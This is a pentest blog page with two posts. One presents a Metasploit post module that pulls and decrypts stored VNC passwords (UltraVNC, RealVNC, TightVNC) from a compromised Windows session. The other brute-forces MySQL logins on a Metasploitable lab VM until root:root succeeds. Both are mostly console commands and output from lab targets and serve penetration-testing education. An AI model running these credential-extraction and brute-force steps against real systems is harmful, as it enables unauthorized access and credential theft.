Showing posts with label Cracking. Show all posts
Showing posts with label Cracking. Show all posts

Friday, June 22, 2012

Metasploit VNC Password Extraction


Chris Gates wrote a blog post about the ‘getvncpw’ meterpreter script. I ran into the same issue on Penetration Tests in the past but didn’t know much about the wacked out version of DES that RFB (the VNC protocol) was using. Not being a fan of manually editing a binary and compiling each time I had a password to crack I wanted to find another way, but didn’t get a chance to.
Yesterday I saw this ticket: https://www.metasploit.com/redmine/issues/3183 and thought to myself: “Thats definitely within my coding ability to contribute a patch for”. After almost 15 hours of coding between 9 pm on Saturday and 8 pm on Sunday. It went far and beyond just adding in a bit of code to support UltraVNC.
changelog:
  • Complete rewrite as a post module instead of a meterpreter script
  • Passwords of less than 8 characters are correctly padded (thanks jduck)
  • UltraVNC checks added
  • TightVNC checks added for both VNC and it’s control console
  • Made it very simple to add new checks in either the registry or in a file
  • Output is a bit more verbose (lets you know something is happening
  • Reports authentication credentials found to database
  • Identifies the port that VNC is running on as well
It isn’t in the metasploit trunk so until/if if gets added you can get it here:
If you have a check, find it breaks for some reason or another, or just want to tell me that I suck, please leave a comment or email me.
Here it is in action against my VM with 3 different VNC servers on it (calling the post module in two separate ways) :
Code:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
 
meterpreter > getuid
Server username: XPBASELINE\Administrator
meterpreter > background
msf exploit(handler) > use post/windows/gather/enum_vnc_pw 
msf post(enum_vnc_pw) > set SESSION 1
SESSION => 1
msf post(enum_vnc_pw) > show options
 
Module options (post/windows/gather/enum_vnc_pw):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.
 
msf post(enum_vnc_pw) > run
 
[*] Enumerating VNC passwords on XPBASELINE
[*] Checking UltraVNC...
[+] UltraVNC => A85B4C5976979DE93B => thisismy on port: 5900
[+] VIEW ONLY: UltraVNC => DE2C1BA7393F6708B3 => 111 on port: 5900
[*] Checking WinVNC3_HKLM...
[*] Checking WinVNC3_HKCU...
[*] Checking WinVNC3_HKLM_Default...
[*] Checking WinVNC3_HKCU_Default...
[*] Checking WinVNC_HKLM_Default...
[*] Checking WinVNC_HKCU_Default...
[*] Checking WinVNC4_HKLM...
[+] WinVNC4_HKLM => c777b2de337a91cf => mypasswo on port: 5900
[*] Checking WinVNC4_HKCU...
[*] Checking RealVNC_HKLM...
[*] Checking RealVNC_HKCU...
[*] Checking TightVNC_HKLM...
[+] TightVNC_HKLM => 7ebf1e76f732459f => authpass on port: 5900
[*] Checking TightVNC_HKLM_Control_pass...
[+] TightVNC_HKLM_Control_pass => f0299fd0e927cf2f => adminpas on port: 5900
[*] Post module execution completed
 
msf post(enum_vnc_pw) > sessions -i 1
[*] Starting interaction with 1...
 
meterpreter > run post/windows/gather/enum_vnc_pw 
 
[*] Enumerating VNC passwords on XPBASELINE
[*] Checking UltraVNC...
[+] UltraVNC => A85B4C5976979DE93B => thisismy on port: 5900
[+] VIEW ONLY: UltraVNC => DE2C1BA7393F6708B3 => 111 on port: 5900
[*] Checking WinVNC3_HKLM...
[*] Checking WinVNC3_HKCU...
[*] Checking WinVNC3_HKLM_Default...
[*] Checking WinVNC3_HKCU_Default...
[*] Checking WinVNC_HKLM_Default...
[*] Checking WinVNC_HKCU_Default...
[*] Checking WinVNC4_HKLM...
[+] WinVNC4_HKLM => c777b2de337a91cf => mypasswo on port: 5900
[*] Checking WinVNC4_HKCU...
[*] Checking RealVNC_HKLM...
[*] Checking RealVNC_HKCU...
[*] Checking TightVNC_HKLM...
[+] TightVNC_HKLM => 7ebf1e76f732459f => authpass on port: 5900
[*] Checking TightVNC_HKLM_Control_pass...
[+] TightVNC_HKLM_Control_pass => f0299fd0e927cf2f => adminpas on port: 5900
meterpreter >
[source]

Bruteforce MySQL Using Metasploit


Hey guys,
I will demonstrate how to brute force MySQL logins using Metasploit. This is again another attack against the Metasploitable distribution I mentioned in my previous post. This is very simple and shouldn’t take long to demonstrate, so here goes:
Code:
root@bt:/pentest/exploits/framework3# ./msfconsole
 
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|
 
=[ metasploit v3.4.1-dev [core:3.4 api:1.0]
+ -- --=[ 566 exploits - 276 auxiliary
+ -- --=[ 210 payloads - 27 encoders - 8 nops
=[ svn r9671 updated today (2010.07.03)
 
msf > search mysql
[*] Searching loaded modules for pattern 'mysql'...
 
Auxiliary
=========
 
Name Rank Description
---- ---- -----------
admin/mysql/mysql_enum normal MySQL Enumeration Module
admin/mysql/mysql_sql normal MySQL SQL Generic Query
admin/tikiwiki/tikidblib normal TikiWiki information disclosure
scanner/mysql/mysql_login normal MySQL Login Utility
scanner/mysql/mysql_version normal MySQL Server Version Enumeration
 
Exploits
========
 
Name Rank Description
---- ---- -----------
linux/mysql/mysql_yassl_getname good MySQL yaSSL CertDecoder::GetName Buffer Overflow
linux/mysql/mysql_yassl_hello good MySQL yaSSL SSL Hello Message Buffer Overflow
windows/mysql/mysql_yassl_hello average MySQL yaSSL SSL Hello Message Buffer Overflow
 
msf > use scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options
Code:
Module options:
 
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true yes Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
 
msf auxiliary(mysql_login) > set PASS_FILE /root/password.txt
PASS_FILE => /root/password.txt
msf auxiliary(mysql_login) > set USER_FILE /root/users.txt
USER_FILE => /root/users.txt
msf auxiliary(mysql_login) > set RHOSTS 10.113.8.102
RHOSTS => 10.113.8.102
msf auxiliary(mysql_login) > show options
 
Module options:
 
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true yes Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no A specific password to authenticate with
PASS_FILE /root/password.txt no File containing passwords, one per line
RHOSTS 10.113.8.102 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_FILE /root/users.txt no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
 
msf auxiliary(mysql_login) > exploit
 
[*] 10.113.8.102:3306 - Found remote MySQL version 5.0.51a
[*] 10.113.8.102:3306 Trying username:'admin' with password:''
[*] 10.113.8.102:3306 failed to login as 'admin' with password ''
[*] 10.113.8.102:3306 Trying username:'root' with password:''
[*] 10.113.8.102:3306 failed to login as 'root' with password ''
[*] 10.113.8.102:3306 Trying username:'god' with password:''
[*] 10.113.8.102:3306 failed to login as 'god' with password ''
[*] 10.113.8.102:3306 Trying username:'systemadm' with password:''
[*] 10.113.8.102:3306 failed to login as 'systemadm' with password ''
[*] 10.113.8.102:3306 Trying username:'daemon' with password:''
[*] 10.113.8.102:3306 failed to login as 'daemon' with password ''
[*] 10.113.8.102:3306 Trying username:'admin' with password:'pass'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'pass'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'password'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'password'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'PASSWD'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'PASSWD'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'passwd'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'passwd'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'Password'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'Password'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'admin'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'admin'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'root'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'root'
[*] 10.113.8.102:3306 Trying username:'admin' with password:'adminadmin'
[*] 10.113.8.102:3306 failed to login as 'admin' with password 'adminadmin'
[*] 10.113.8.102:3306 Trying username:'root' with password:'pass'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'pass'
[*] 10.113.8.102:3306 Trying username:'root' with password:'password'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'password'
[*] 10.113.8.102:3306 Trying username:'root' with password:'PASSWD'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'PASSWD'
[*] 10.113.8.102:3306 Trying username:'root' with password:'passwd'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'passwd'
[*] 10.113.8.102:3306 Trying username:'root' with password:'Password'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'Password'
[*] 10.113.8.102:3306 Trying username:'root' with password:'admin'
[*] 10.113.8.102:3306 failed to login as 'root' with password 'admin'
[*] 10.113.8.102:3306 Trying username:'root' with password:'root'
[+] 10.113.8.102:3306 - SUCCESSFUL LOGIN 'root' : 'root'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >
 
Bingo! We found the root password which is simply ‘root’ :-) Now let’s double check this:
 
root@bt:/pentest/exploits/framework3# mysql -h 10.113.8.102 -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 53
Server version: 5.0.51a-3ubuntu5 (Ubuntu)
 
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
 
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| tikiwiki |
| tikiwiki195 |
+--------------------+
4 rows in set (0.01 sec)
 
mysql>
Now we have complete control over their database, yay! :-)